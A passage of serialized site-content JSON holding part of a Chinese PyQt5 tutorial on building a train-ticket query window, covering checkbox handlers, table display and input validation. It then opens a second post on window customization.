\n",{"type":18,"tag":297,"props":66043,"children":66044},{"class":299,"line":808},[66045],{"type":18,"tag":297,"props":66046,"children":66047},{},[66048],{"type":24,"value":66049},"        # 获取高铁信息  \n",{"type":18,"tag":297,"props":66051,"children":66052},{"class":299,"line":817},[66053],{"type":18,"tag":297,"props":66054,"children":66055},{},[66056],{"type":24,"value":66057},"        query(\"2025-08-10\",\"天水南\",\"西安北\")# 测试数据  \n",{"type":18,"tag":297,"props":66059,"children":66060},{"class":299,"line":826},[66061],{"type":18,"tag":297,"props":66062,"children":66063},{},[66064],{"type":24,"value":66065},"        gc_vehicle()  \n",{"type":18,"tag":297,"props":66067,"children":66068},{"class":299,"line":4524},[66069],{"type":18,"tag":297,"props":66070,"children":66071},{},[66072],{"type":24,"value":66073},"        # 通过表格显示该车型数据  \n",{"type":18,"tag":297,"props":66075,"children":66076},{"class":299,"line":4533},[66077],{"type":18,"tag":297,"props":66078,"children":66079},{},[66080],{"type":24,"value":66081},"        self.displayTable(len(type_data),16,type_data)  \n",{"type":18,"tag":297,"props":66083,"children":66084},{"class":299,"line":4546},[66085],{"type":18,"tag":297,"props":66086,"children":66087},{},[66088],{"type":24,"value":63846},{"type":18,"tag":297,"props":66090,"children":66091},{"class":299,"line":4555},[66092],{"type":18,"tag":297,"props":66093,"children":66094},{},[66095],{"type":24,"value":66096},"        # 取消选中状态将移除该数据  \n",{"type":18,"tag":297,"props":66098,"children":66099},{"class":299,"line":4568},[66100],{"type":18,"tag":297,"props":66101,"children":66102},{},[66103],{"type":24,"value":66104},"        r_gc_vehicle()  \n",{"type":18,"tag":297,"props":66106,"children":66107},{"class":299,"line":4577},[66108],{"type":18,"tag":297,"props":66109,"children":66110},{},[66111],{"type":24,"value":66112},"        self.displayTable(len(type_data),16,type_data)\n",{"type":18,"tag":34,"props":66114,"children":66115},{},[66116,66118,66124],{"type":24,"value":66117},"5）创建",{"type":18,"tag":74,"props":66119,"children":66121},{"className":66120},[],[66122],{"type":24,"value":66123},"change_All()",{"type":24,"value":66125},"方法，该方法用于将所有车次分类复选框勾选处理方法，代码如下：",{"type":18,"tag":287,"props":66127,"children":66129},{"className":28710,"code":66128,"language":28712,"meta":8,"style":8},"def change_ALL(self,state):  \n    if state == QtCore.Qt.Checked:  \n        self.checkBox_G.setChecked(True)  \n        self.checkBox_D.setChecked(True)  \n        self.checkBox_Z.setChecked(True)  \n        self.checkBox_EMU.setChecked(True)  \n        self.checkBox_T.setChecked(True)  \n        self.checkBox_K.setChecked(True)  \n        self.checkBox_O.setChecked(True)  \n        self.checkBox_F.setChecked(True)  \n    else:  \n        self.checkBox_G.setChecked(False)  \n        self.checkBox_D.setChecked(False)  \n        self.checkBox_Z.setChecked(False)  \n        self.checkBox_EMU.setChecked(False)  \n        self.checkBox_T.setChecked(False)  \n        self.checkBox_K.setChecked(False)  \n        self.checkBox_O.setChecked(False)  \n        self.checkBox_F.setChecked(False)\n",[66130],{"type":18,"tag":74,"props":66131,"children":66132},{"__ignoreMap":8},[66133,66141,66148,66156,66164,66172,66180,66188,66196,66204,66212,66219,66227,66235,66243,66251,66259,66267,66275],{"type":18,"tag":297,"props":66134,"children":66135},{"class":299,"line":300},[66136],{"type":18,"tag":297,"props":66137,"children":66138},{},[66139],{"type":24,"value":66140},"def change_ALL(self,state):  \n",{"type":18,"tag":297,"props":66142,"children":66143},{"class":299,"line":657},[66144],{"type":18,"tag":297,"props":66145,"children":66146},{},[66147],{"type":24,"value":66041},{"type":18,"tag":297,"props":66149,"children":66150},{"class":299,"line":662},[66151],{"type":18,"tag":297,"props":66152,"children":66153},{},[66154],{"type":24,"value":66155},"        self.checkBox_G.setChecked(True)  \n",{"type":18,"tag":297,"props":66157,"children":66158},{"class":299,"line":799},[66159],{"type":18,"tag":297,"props":66160,"children":66161},{},[66162],{"type":24,"value":66163},"        self.checkBox_D.setChecked(True)  \n",{"type":18,"tag":297,"props":66165,"children":66166},{"class":299,"line":808},[66167],{"type":18,"tag":297,"props":66168,"children":66169},{},[66170],{"type":24,"value":66171},"        self.checkBox_Z.setChecked(True)  \n",{"type":18,"tag":297,"props":66173,"children":66174},{"class":299,"line":817},[66175],{"type":18,"tag":297,"props":66176,"children":66177},{},[66178],{"type":24,"value":66179},"        self.checkBox_EMU.setChecked(True)  \n",{"type":18,"tag":297,"props":66181,"children":66182},{"class":299,"line":826},[66183],{"type":18,"tag":297,"props":66184,"children":66185},{},[66186],{"type":24,"value":66187},"        self.checkBox_T.setChecked(True)  \n",{"type":18,"tag":297,"props":66189,"children":66190},{"class":299,"line":4524},[66191],{"type":18,"tag":297,"props":66192,"children":66193},{},[66194],{"type":24,"value":66195},"        self.checkBox_K.setChecked(True)  \n",{"type":18,"tag":297,"props":66197,"children":66198},{"class":299,"line":4533},[66199],{"type":18,"tag":297,"props":66200,"children":66201},{},[66202],{"type":24,"value":66203},"        self.checkBox_O.setChecked(True)  \n",{"type":18,"tag":297,"props":66205,"children":66206},{"class":299,"line":4546},[66207],{"type":18,"tag":297,"props":66208,"children":66209},{},[66210],{"type":24,"value":66211},"        self.checkBox_F.setChecked(True)  \n",{"type":18,"tag":297,"props":66213,"children":66214},{"class":299,"line":4555},[66215],{"type":18,"tag":297,"props":66216,"children":66217},{},[66218],{"type":24,"value":63846},{"type":18,"tag":297,"props":66220,"children":66221},{"class":299,"line":4568},[66222],{"type":18,"tag":297,"props":66223,"children":66224},{},[66225],{"type":24,"value":66226},"        self.checkBox_G.setChecked(False)  \n",{"type":18,"tag":297,"props":66228,"children":66229},{"class":299,"line":4577},[66230],{"type":18,"tag":297,"props":66231,"children":66232},{},[66233],{"type":24,"value":66234},"        self.checkBox_D.setChecked(False)  \n",{"type":18,"tag":297,"props":66236,"children":66237},{"class":299,"line":4590},[66238],{"type":18,"tag":297,"props":66239,"children":66240},{},[66241],{"type":24,"value":66242},"        self.checkBox_Z.setChecked(False)  \n",{"type":18,"tag":297,"props":66244,"children":66245},{"class":299,"line":4599},[66246],{"type":18,"tag":297,"props":66247,"children":66248},{},[66249],{"type":24,"value":66250},"        self.checkBox_EMU.setChecked(False)  \n",{"type":18,"tag":297,"props":66252,"children":66253},{"class":299,"line":4607},[66254],{"type":18,"tag":297,"props":66255,"children":66256},{},[66257],{"type":24,"value":66258},"        self.checkBox_T.setChecked(False)  \n",{"type":18,"tag":297,"props":66260,"children":66261},{"class":299,"line":4616},[66262],{"type":18,"tag":297,"props":66263,"children":66264},{},[66265],{"type":24,"value":66266},"        self.checkBox_K.setChecked(False)  \n",{"type":18,"tag":297,"props":66268,"children":66269},{"class":299,"line":4624},[66270],{"type":18,"tag":297,"props":66271,"children":66272},{},[66273],{"type":24,"value":66274},"        self.checkBox_O.setChecked(False)  \n",{"type":18,"tag":297,"props":66276,"children":66277},{"class":299,"line":4633},[66278],{"type":18,"tag":297,"props":66279,"children":66280},{},[66281],{"type":24,"value":66282},"        self.checkBox_F.setChecked(False)\n",{"type":18,"tag":34,"props":66284,"children":66285},{},[66286,66288,66294,66296,66302],{"type":24,"value":66287},"6）创建",{"type":18,"tag":74,"props":66289,"children":66291},{"className":66290},[],[66292],{"type":24,"value":66293},"messageDialog()",{"type":24,"value":66295},"方法，用于显示主窗体非法操作的消息提示框；创建",{"type":18,"tag":74,"props":66297,"children":66299},{"className":66298},[],[66300],{"type":24,"value":66301},"displayTable()",{"type":24,"value":66303},"方法，用于显示车次信息的表格与内容。代码如下：",{"type":18,"tag":287,"props":66305,"children":66307},{"className":28710,"code":66306,"language":28712,"meta":8,"style":8},"# 异常提示框  \ndef messageDialog(self, title, message):  \n    msg = QMessageBox(QMessageBox.Warning, title, message)  \n    msg.exec_()  \n  \n# 更新表单  \ndef displayTable(self, row_count, col_count, data):  \n    self.model.setRowCount(row_count)  # 设置行数  \n    self.model.setColumnCount(col_count)  # 设置列数  \n    for row in range(row_count):  \n        for col in range(col_count):  \n            item = QStandardItem(str(data[row][col]))  # data是二维列表  \n            self.model.setItem(row, col, item)  \n    self.tableView.setModel(self.model)  # 重新绑定模型（确保刷新）\n",[66308],{"type":18,"tag":74,"props":66309,"children":66310},{"__ignoreMap":8},[66311,66319,66327,66335,66343,66350,66358,66366,66374,66382,66390,66398,66406,66414],{"type":18,"tag":297,"props":66312,"children":66313},{"class":299,"line":300},[66314],{"type":18,"tag":297,"props":66315,"children":66316},{},[66317],{"type":24,"value":66318},"# 异常提示框  \n",{"type":18,"tag":297,"props":66320,"children":66321},{"class":299,"line":657},[66322],{"type":18,"tag":297,"props":66323,"children":66324},{},[66325],{"type":24,"value":66326},"def messageDialog(self, title, message):  \n",{"type":18,"tag":297,"props":66328,"children":66329},{"class":299,"line":662},[66330],{"type":18,"tag":297,"props":66331,"children":66332},{},[66333],{"type":24,"value":66334},"    msg = QMessageBox(QMessageBox.Warning, title, message)  \n",{"type":18,"tag":297,"props":66336,"children":66337},{"class":299,"line":799},[66338],{"type":18,"tag":297,"props":66339,"children":66340},{},[66341],{"type":24,"value":66342},"    msg.exec_()  \n",{"type":18,"tag":297,"props":66344,"children":66345},{"class":299,"line":808},[66346],{"type":18,"tag":297,"props":66347,"children":66348},{},[66349],{"type":24,"value":36783},{"type":18,"tag":297,"props":66351,"children":66352},{"class":299,"line":817},[66353],{"type":18,"tag":297,"props":66354,"children":66355},{},[66356],{"type":24,"value":66357},"# 更新表单  \n",{"type":18,"tag":297,"props":66359,"children":66360},{"class":299,"line":826},[66361],{"type":18,"tag":297,"props":66362,"children":66363},{},[66364],{"type":24,"value":66365},"def displayTable(self, row_count, col_count, data):  \n",{"type":18,"tag":297,"props":66367,"children":66368},{"class":299,"line":4524},[66369],{"type":18,"tag":297,"props":66370,"children":66371},{},[66372],{"type":24,"value":66373},"    self.model.setRowCount(row_count)  # 设置行数  \n",{"type":18,"tag":297,"props":66375,"children":66376},{"class":299,"line":4533},[66377],{"type":18,"tag":297,"props":66378,"children":66379},{},[66380],{"type":24,"value":66381},"    self.model.setColumnCount(col_count)  # 设置列数  \n",{"type":18,"tag":297,"props":66383,"children":66384},{"class":299,"line":4546},[66385],{"type":18,"tag":297,"props":66386,"children":66387},{},[66388],{"type":24,"value":66389},"    for row in range(row_count):  \n",{"type":18,"tag":297,"props":66391,"children":66392},{"class":299,"line":4555},[66393],{"type":18,"tag":297,"props":66394,"children":66395},{},[66396],{"type":24,"value":66397},"        for col in range(col_count):  \n",{"type":18,"tag":297,"props":66399,"children":66400},{"class":299,"line":4568},[66401],{"type":18,"tag":297,"props":66402,"children":66403},{},[66404],{"type":24,"value":66405},"            item = QStandardItem(str(data[row][col]))  # data是二维列表  \n",{"type":18,"tag":297,"props":66407,"children":66408},{"class":299,"line":4577},[66409],{"type":18,"tag":297,"props":66410,"children":66411},{},[66412],{"type":24,"value":66413},"            self.model.setItem(row, col, item)  \n",{"type":18,"tag":297,"props":66415,"children":66416},{"class":299,"line":4590},[66417],{"type":18,"tag":297,"props":66418,"children":66419},{},[66420],{"type":24,"value":66421},"    self.tableView.setModel(self.model)  # 重新绑定模型（确保刷新）\n",{"type":18,"tag":34,"props":66423,"children":66424},{},[66425,66427,66433,66435,66440],{"type":24,"value":66426},"7）创建",{"type":18,"tag":74,"props":66428,"children":66430},{"className":66429},[],[66431],{"type":24,"value":66432},"on_click()",{"type":24,"value":66434},"方法，该方法是查询按钮的单击事件。在该方法中首先获取出发地、目的地与出发日期三个编辑框的输入内容，然后对三个编辑框中输入的内容进行合法检测，符合规范后调用query()方法提交车票查询的请求并且将返回的数据赋值给data，最后通过调用",{"type":18,"tag":74,"props":66436,"children":66438},{"className":66437},[],[66439],{"type":24,"value":66301},{"type":24,"value":66441},"方法实现在表格中显示车票查询的全部信息。代码如下：",{"type":18,"tag":287,"props":66443,"children":66445},{"className":28710,"code":66444,"language":28712,"meta":8,"style":8},"# 查询按钮的单击事件  \n  \ndef on_click(self):  \n  \n    get_from = self.textEdit.toPlainText()  # 获取出发地  \n    get_to = self.textEdit_2.toPlainText()  # 获取到达地  \n    get_date = self.textEdit_3.toPlainText()  # 获取出发时间  \n    # 判断车站文件是否存在  \n    if isStations() == True:  \n        stations = give_dic()  # 读取所有车站并转换为dic类型  \n        # 判断所有参数是否为空，以及出发地、目的地、出发日期  \n        if get_from != \"\" and get_to != \"\" and get_date != \"\":  \n            # 判断输入的车站名称是否存在，以及时间格式是否正确  \n            if get_from in stations and get_to in stations and is_valid_date(get_date):  \n                # 获取输入的日期是当前年初到现在一共过了多少天  \n                inputYearDay = time.strptime(get_date, \"%Y-%m-%d\").tm_yday  \n                # 获取系统当前日期是当前年初到现在一共过了多少天  \n                yearToday = time.localtime(time.time()).tm_yday  \n                # 计算时间差，也就是输入的日期减掉系统当前的日期  \n                timeDifference = inputYearDay - yearToday  \n                # 判断时间差为0时证明是查询当前的查票  \n                # 以及29天以后的车票，12306官方要求只能查询30天以内的车票  \n                if timeDifference >= 0 and timeDifference \u003C= 28:  \n                    # 在所有车站文件中找到对应的参数  \n                    from_station = stations[get_from]  # 出发地  \n                    to_station = stations[get_to]  # 目的地  \n                    # 发送查询请求，并获取返回的信息  \n                    data = query(get_date, from_station, to_station)  \n                    self.checkBox_default()  # 调用取消勾选所有车次分类复选框  \n                    if len(data) != 0:  # 判断返回的数据是否为空  \n                        # 如果不是空的数据就将车票信息显示在表格中  \n                        self.displayTable(len(data), 16, data)  \n                    else:  \n                        self.messageDialog('警告', '没有返回的网络数据！')  \n                else:  \n                    self.messageDialog('警告','超出查询日期的范围内,不可查询昨天的车票信息,以及29天以后的车票信息！')  \n            else:  \n                self.messageDialog('警告', '输入的站名不存在,或日期格式不正确！')  \n        else:  \n            self.messageDialog('警告', '请填写车站名称！')  \n    else:  \n        self.messageDialog('警告', '未下载车站查询文件！')\n",[66446],{"type":18,"tag":74,"props":66447,"children":66448},{"__ignoreMap":8},[66449,66457,66464,66472,66479,66487,66495,66503,66510,66518,66526,66534,66542,66550,66558,66566,66574,66582,66590,66598,66606,66614,66622,66630,66638,66646,66654,66662,66670,66678,66686,66694,66702,66710,66718,66725,66733,66741,66749,66756,66764,66771],{"type":18,"tag":297,"props":66450,"children":66451},{"class":299,"line":300},[66452],{"type":18,"tag":297,"props":66453,"children":66454},{},[66455],{"type":24,"value":66456},"# 查询按钮的单击事件  \n",{"type":18,"tag":297,"props":66458,"children":66459},{"class":299,"line":657},[66460],{"type":18,"tag":297,"props":66461,"children":66462},{},[66463],{"type":24,"value":36783},{"type":18,"tag":297,"props":66465,"children":66466},{"class":299,"line":662},[66467],{"type":18,"tag":297,"props":66468,"children":66469},{},[66470],{"type":24,"value":66471},"def on_click(self):  \n",{"type":18,"tag":297,"props":66473,"children":66474},{"class":299,"line":799},[66475],{"type":18,"tag":297,"props":66476,"children":66477},{},[66478],{"type":24,"value":36783},{"type":18,"tag":297,"props":66480,"children":66481},{"class":299,"line":808},[66482],{"type":18,"tag":297,"props":66483,"children":66484},{},[66485],{"type":24,"value":66486},"    get_from = self.textEdit.toPlainText()  # 获取出发地  \n",{"type":18,"tag":297,"props":66488,"children":66489},{"class":299,"line":817},[66490],{"type":18,"tag":297,"props":66491,"children":66492},{},[66493],{"type":24,"value":66494},"    get_to = self.textEdit_2.toPlainText()  # 获取到达地  \n",{"type":18,"tag":297,"props":66496,"children":66497},{"class":299,"line":826},[66498],{"type":18,"tag":297,"props":66499,"children":66500},{},[66501],{"type":24,"value":66502},"    get_date = self.textEdit_3.toPlainText()  # 获取出发时间  \n",{"type":18,"tag":297,"props":66504,"children":66505},{"class":299,"line":4524},[66506],{"type":18,"tag":297,"props":66507,"children":66508},{},[66509],{"type":24,"value":64272},{"type":18,"tag":297,"props":66511,"children":66512},{"class":299,"line":4533},[66513],{"type":18,"tag":297,"props":66514,"children":66515},{},[66516],{"type":24,"value":66517},"    if isStations() == True:  \n",{"type":18,"tag":297,"props":66519,"children":66520},{"class":299,"line":4546},[66521],{"type":18,"tag":297,"props":66522,"children":66523},{},[66524],{"type":24,"value":66525},"        stations = give_dic()  # 读取所有车站并转换为dic类型  \n",{"type":18,"tag":297,"props":66527,"children":66528},{"class":299,"line":4555},[66529],{"type":18,"tag":297,"props":66530,"children":66531},{},[66532],{"type":24,"value":66533},"        # 判断所有参数是否为空，以及出发地、目的地、出发日期  \n",{"type":18,"tag":297,"props":66535,"children":66536},{"class":299,"line":4568},[66537],{"type":18,"tag":297,"props":66538,"children":66539},{},[66540],{"type":24,"value":66541},"        if get_from != \"\" and get_to != \"\" and get_date != \"\":  \n",{"type":18,"tag":297,"props":66543,"children":66544},{"class":299,"line":4577},[66545],{"type":18,"tag":297,"props":66546,"children":66547},{},[66548],{"type":24,"value":66549},"            # 判断输入的车站名称是否存在，以及时间格式是否正确  \n",{"type":18,"tag":297,"props":66551,"children":66552},{"class":299,"line":4590},[66553],{"type":18,"tag":297,"props":66554,"children":66555},{},[66556],{"type":24,"value":66557},"            if get_from in stations and get_to in stations and is_valid_date(get_date):  \n",{"type":18,"tag":297,"props":66559,"children":66560},{"class":299,"line":4599},[66561],{"type":18,"tag":297,"props":66562,"children":66563},{},[66564],{"type":24,"value":66565},"                # 获取输入的日期是当前年初到现在一共过了多少天  \n",{"type":18,"tag":297,"props":66567,"children":66568},{"class":299,"line":4607},[66569],{"type":18,"tag":297,"props":66570,"children":66571},{},[66572],{"type":24,"value":66573},"                inputYearDay = time.strptime(get_date, \"%Y-%m-%d\").tm_yday  \n",{"type":18,"tag":297,"props":66575,"children":66576},{"class":299,"line":4616},[66577],{"type":18,"tag":297,"props":66578,"children":66579},{},[66580],{"type":24,"value":66581},"                # 获取系统当前日期是当前年初到现在一共过了多少天  \n",{"type":18,"tag":297,"props":66583,"children":66584},{"class":299,"line":4624},[66585],{"type":18,"tag":297,"props":66586,"children":66587},{},[66588],{"type":24,"value":66589},"                yearToday = time.localtime(time.time()).tm_yday  \n",{"type":18,"tag":297,"props":66591,"children":66592},{"class":299,"line":4633},[66593],{"type":18,"tag":297,"props":66594,"children":66595},{},[66596],{"type":24,"value":66597},"                # 计算时间差，也就是输入的日期减掉系统当前的日期  \n",{"type":18,"tag":297,"props":66599,"children":66600},{"class":299,"line":4641},[66601],{"type":18,"tag":297,"props":66602,"children":66603},{},[66604],{"type":24,"value":66605},"                timeDifference = inputYearDay - yearToday  \n",{"type":18,"tag":297,"props":66607,"children":66608},{"class":299,"line":4650},[66609],{"type":18,"tag":297,"props":66610,"children":66611},{},[66612],{"type":24,"value":66613},"                # 判断时间差为0时证明是查询当前的查票  \n",{"type":18,"tag":297,"props":66615,"children":66616},{"class":299,"line":4658},[66617],{"type":18,"tag":297,"props":66618,"children":66619},{},[66620],{"type":24,"value":66621},"                # 以及29天以后的车票，12306官方要求只能查询30天以内的车票  \n",{"type":18,"tag":297,"props":66623,"children":66624},{"class":299,"line":4681},[66625],{"type":18,"tag":297,"props":66626,"children":66627},{},[66628],{"type":24,"value":66629},"                if timeDifference >= 0 and timeDifference \u003C= 28:  \n",{"type":18,"tag":297,"props":66631,"children":66632},{"class":299,"line":4703},[66633],{"type":18,"tag":297,"props":66634,"children":66635},{},[66636],{"type":24,"value":66637},"                    # 在所有车站文件中找到对应的参数  \n",{"type":18,"tag":297,"props":66639,"children":66640},{"class":299,"line":4711},[66641],{"type":18,"tag":297,"props":66642,"children":66643},{},[66644],{"type":24,"value":66645},"                    from_station = stations[get_from]  # 出发地  \n",{"type":18,"tag":297,"props":66647,"children":66648},{"class":299,"line":4720},[66649],{"type":18,"tag":297,"props":66650,"children":66651},{},[66652],{"type":24,"value":66653},"                    to_station = stations[get_to]  # 目的地  \n",{"type":18,"tag":297,"props":66655,"children":66656},{"class":299,"line":4728},[66657],{"type":18,"tag":297,"props":66658,"children":66659},{},[66660],{"type":24,"value":66661},"                    # 发送查询请求，并获取返回的信息  \n",{"type":18,"tag":297,"props":66663,"children":66664},{"class":299,"line":13515},[66665],{"type":18,"tag":297,"props":66666,"children":66667},{},[66668],{"type":24,"value":66669},"                    data = query(get_date, from_station, to_station)  \n",{"type":18,"tag":297,"props":66671,"children":66672},{"class":299,"line":13553},[66673],{"type":18,"tag":297,"props":66674,"children":66675},{},[66676],{"type":24,"value":66677},"                    self.checkBox_default()  # 调用取消勾选所有车次分类复选框  \n",{"type":18,"tag":297,"props":66679,"children":66680},{"class":299,"line":13591},[66681],{"type":18,"tag":297,"props":66682,"children":66683},{},[66684],{"type":24,"value":66685},"                    if len(data) != 0:  # 判断返回的数据是否为空  \n",{"type":18,"tag":297,"props":66687,"children":66688},{"class":299,"line":13624},[66689],{"type":18,"tag":297,"props":66690,"children":66691},{},[66692],{"type":24,"value":66693},"                        # 如果不是空的数据就将车票信息显示在表格中  \n",{"type":18,"tag":297,"props":66695,"children":66696},{"class":299,"line":13632},[66697],{"type":18,"tag":297,"props":66698,"children":66699},{},[66700],{"type":24,"value":66701},"                        self.displayTable(len(data), 16, data)  \n",{"type":18,"tag":297,"props":66703,"children":66704},{"class":299,"line":13641},[66705],{"type":18,"tag":297,"props":66706,"children":66707},{},[66708],{"type":24,"value":66709},"                    else:  \n",{"type":18,"tag":297,"props":66711,"children":66712},{"class":299,"line":13724},[66713],{"type":18,"tag":297,"props":66714,"children":66715},{},[66716],{"type":24,"value":66717},"                        self.messageDialog('警告', '没有返回的网络数据！')  \n",{"type":18,"tag":297,"props":66719,"children":66720},{"class":299,"line":13732},[66721],{"type":18,"tag":297,"props":66722,"children":66723},{},[66724],{"type":24,"value":64487},{"type":18,"tag":297,"props":66726,"children":66727},{"class":299,"line":13786},[66728],{"type":18,"tag":297,"props":66729,"children":66730},{},[66731],{"type":24,"value":66732},"                    self.messageDialog('警告','超出查询日期的范围内,不可查询昨天的车票信息,以及29天以后的车票信息！')  \n",{"type":18,"tag":297,"props":66734,"children":66735},{"class":299,"line":13794},[66736],{"type":18,"tag":297,"props":66737,"children":66738},{},[66739],{"type":24,"value":66740},"            else:  \n",{"type":18,"tag":297,"props":66742,"children":66743},{"class":299,"line":13803},[66744],{"type":18,"tag":297,"props":66745,"children":66746},{},[66747],{"type":24,"value":66748},"                self.messageDialog('警告', '输入的站名不存在,或日期格式不正确！')  \n",{"type":18,"tag":297,"props":66750,"children":66751},{"class":299,"line":13845},[66752],{"type":18,"tag":297,"props":66753,"children":66754},{},[66755],{"type":24,"value":45251},{"type":18,"tag":297,"props":66757,"children":66758},{"class":299,"line":13887},[66759],{"type":18,"tag":297,"props":66760,"children":66761},{},[66762],{"type":24,"value":66763},"            self.messageDialog('警告', '请填写车站名称！')  \n",{"type":18,"tag":297,"props":66765,"children":66766},{"class":299,"line":13927},[66767],{"type":18,"tag":297,"props":66768,"children":66769},{},[66770],{"type":24,"value":63846},{"type":18,"tag":297,"props":66772,"children":66773},{"class":299,"line":13943},[66774],{"type":18,"tag":297,"props":66775,"children":66776},{},[66777],{"type":24,"value":66778},"        self.messageDialog('警告', '未下载车站查询文件！')\n",{"type":18,"tag":34,"props":66780,"children":66781},{},[66782,66784,66789],{"type":24,"value":66783},"8）在",{"type":18,"tag":74,"props":66785,"children":66787},{"className":66786},[],[66788],{"type":24,"value":62871},{"type":24,"value":66790},"方法中，首先设置出发日期的编辑框中显示系统的当前日期，然后设置查询按钮的单击事件，最后分别设置高铁、动车、直达、特快以及快车复选框选中与取消事件。关键代码如下：",{"type":18,"tag":287,"props":66792,"children":66794},{"className":28710,"code":66793,"language":28712,"meta":8,"style":8},"self.textEdit_3.setText(get_time())\nself.pushButton.clicked.connect(self.on_click)  \nself.checkBox_G.stateChanged.connect(self.change_G)  \nself.checkBox_D.stateChanged.connect(self.change_D)  \nself.checkBox_Z.stateChanged.connect(self.change_Z)  \nself.checkBox_T.stateChanged.connect(self.change_T)  \nself.checkBox_K.stateChanged.connect(self.change_K)  \nself.checkBox_O.stateChanged.connect(self.change_O)  \nself.checkBox_F.stateChanged.connect(self.change_F)  \nself.checkBox_EMU.stateChanged.connect(self.change_EMU)  \nself.checkBox_ALL.stateChanged.connect(self.change_ALL)\n",[66795],{"type":18,"tag":74,"props":66796,"children":66797},{"__ignoreMap":8},[66798,66806,66814,66822,66830,66838,66846,66854,66862,66870,66878],{"type":18,"tag":297,"props":66799,"children":66800},{"class":299,"line":300},[66801],{"type":18,"tag":297,"props":66802,"children":66803},{},[66804],{"type":24,"value":66805},"self.textEdit_3.setText(get_time())\n",{"type":18,"tag":297,"props":66807,"children":66808},{"class":299,"line":657},[66809],{"type":18,"tag":297,"props":66810,"children":66811},{},[66812],{"type":24,"value":66813},"self.pushButton.clicked.connect(self.on_click)  \n",{"type":18,"tag":297,"props":66815,"children":66816},{"class":299,"line":662},[66817],{"type":18,"tag":297,"props":66818,"children":66819},{},[66820],{"type":24,"value":66821},"self.checkBox_G.stateChanged.connect(self.change_G)  \n",{"type":18,"tag":297,"props":66823,"children":66824},{"class":299,"line":799},[66825],{"type":18,"tag":297,"props":66826,"children":66827},{},[66828],{"type":24,"value":66829},"self.checkBox_D.stateChanged.connect(self.change_D)  \n",{"type":18,"tag":297,"props":66831,"children":66832},{"class":299,"line":808},[66833],{"type":18,"tag":297,"props":66834,"children":66835},{},[66836],{"type":24,"value":66837},"self.checkBox_Z.stateChanged.connect(self.change_Z)  \n",{"type":18,"tag":297,"props":66839,"children":66840},{"class":299,"line":817},[66841],{"type":18,"tag":297,"props":66842,"children":66843},{},[66844],{"type":24,"value":66845},"self.checkBox_T.stateChanged.connect(self.change_T)  \n",{"type":18,"tag":297,"props":66847,"children":66848},{"class":299,"line":826},[66849],{"type":18,"tag":297,"props":66850,"children":66851},{},[66852],{"type":24,"value":66853},"self.checkBox_K.stateChanged.connect(self.change_K)  \n",{"type":18,"tag":297,"props":66855,"children":66856},{"class":299,"line":4524},[66857],{"type":18,"tag":297,"props":66858,"children":66859},{},[66860],{"type":24,"value":66861},"self.checkBox_O.stateChanged.connect(self.change_O)  \n",{"type":18,"tag":297,"props":66863,"children":66864},{"class":299,"line":4533},[66865],{"type":18,"tag":297,"props":66866,"children":66867},{},[66868],{"type":24,"value":66869},"self.checkBox_F.stateChanged.connect(self.change_F)  \n",{"type":18,"tag":297,"props":66871,"children":66872},{"class":299,"line":4546},[66873],{"type":18,"tag":297,"props":66874,"children":66875},{},[66876],{"type":24,"value":66877},"self.checkBox_EMU.stateChanged.connect(self.change_EMU)  \n",{"type":18,"tag":297,"props":66879,"children":66880},{"class":299,"line":4555},[66881],{"type":18,"tag":297,"props":66882,"children":66883},{},[66884],{"type":24,"value":66885},"self.checkBox_ALL.stateChanged.connect(self.change_ALL)\n",{"type":18,"tag":34,"props":66887,"children":66888},{},[66889],{"type":24,"value":66890},"（9）在window.py文件下，单击右键，选择“Run 'window'”菜单运行主窗体，然后输入符合规范的出发地、目的地与出发日期，单击查询按钮将显示如图35所示。",{"type":18,"tag":34,"props":66892,"children":66893},{},[66894],{"type":18,"tag":54,"props":66895,"children":66898},{"alt":66896,"src":66897},"Pasted image 20250801224854","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250801224854.png",[],{"type":18,"tag":651,"props":66900,"children":66901},{},[66902],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":66904},[66905,66906,66907,66911,66912,66913],{"id":61202,"depth":657,"text":61205},{"id":61231,"depth":657,"text":61234},{"id":61287,"depth":657,"text":61287,"children":66908},[66909,66910],{"id":61308,"depth":662,"text":61311},{"id":62155,"depth":662,"text":62155},{"id":63271,"depth":657,"text":63271},{"id":63373,"depth":657,"text":63373},{"id":63877,"depth":657,"text":63877,"children":66914},[66915,66916],{"id":63885,"depth":662,"text":63888},{"id":65544,"depth":662,"text":65547},"content:blog:2025-08-01-train-tickets.md","blog\u002F2025-08-01-train-tickets.md","blog\u002F2025-08-01-train-tickets",{"_path":66921,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":66922,"description":66923,"date":66924,"tags":66925,"body":66926,"_type":672,"_id":69805,"_source":674,"_file":69806,"_stem":69807,"_extension":677},"\u002Fblog\u002F2025-07-19-pyqt5","PyQt5-窗口的个性化设置","PyQt5窗口个性化设置：图标、标题、背景图、样式表等定制化配置。","2025-07-19",[28616,41429,41430],{"type":15,"children":66927,"toc":69797},[66928,66941,66947,66950,67314,67320,67323,67336,67342,67375,67383,67403,67417,67423,67448,67456,67464,67477,67491,67497,67516,67524,67536,67548,67562,67656,67662,67665,67684,67692,67697,67716,67724,67737,67745,67765,67773,67778,67809,67821,67829,67834,67864,67870,67873,67878,67891,67932,67950,67964,67968,67976,68024,68059,68067,68079,68093,68097,68105,68167,68178,68186,68198,68270,68281,68320,68362,68374,68382,68393,68430,68470,68481,68489,68574,68584,68599,68604,68612,68618,68623,68628,68649,68657,68676,68684,68716,68724,68766,68774,68793,68801,68820,68828,68840,68852,68860,68887,68895,68914,68922,68940,68948,68953,68986,68994,69022,69044,69079,69130,69138,69160,69168,69174,69177,69182,69190,69195,69214,69222,69262,69275,69289,69295,69298,69311,69325,69336,69344,69462,69474,69497,69505,69687,69706,69720,69725,69733,69768,69783,69793],{"type":18,"tag":96,"props":66929,"children":66930},{},[66931],{"type":18,"tag":34,"props":66932,"children":66933},{},[66934,66939],{"type":18,"tag":105,"props":66935,"children":66936},{},[66937],{"type":24,"value":66938},"Note:",{"type":24,"value":66940},"\n在PyQt5窗口创建完成后，可以在Qt 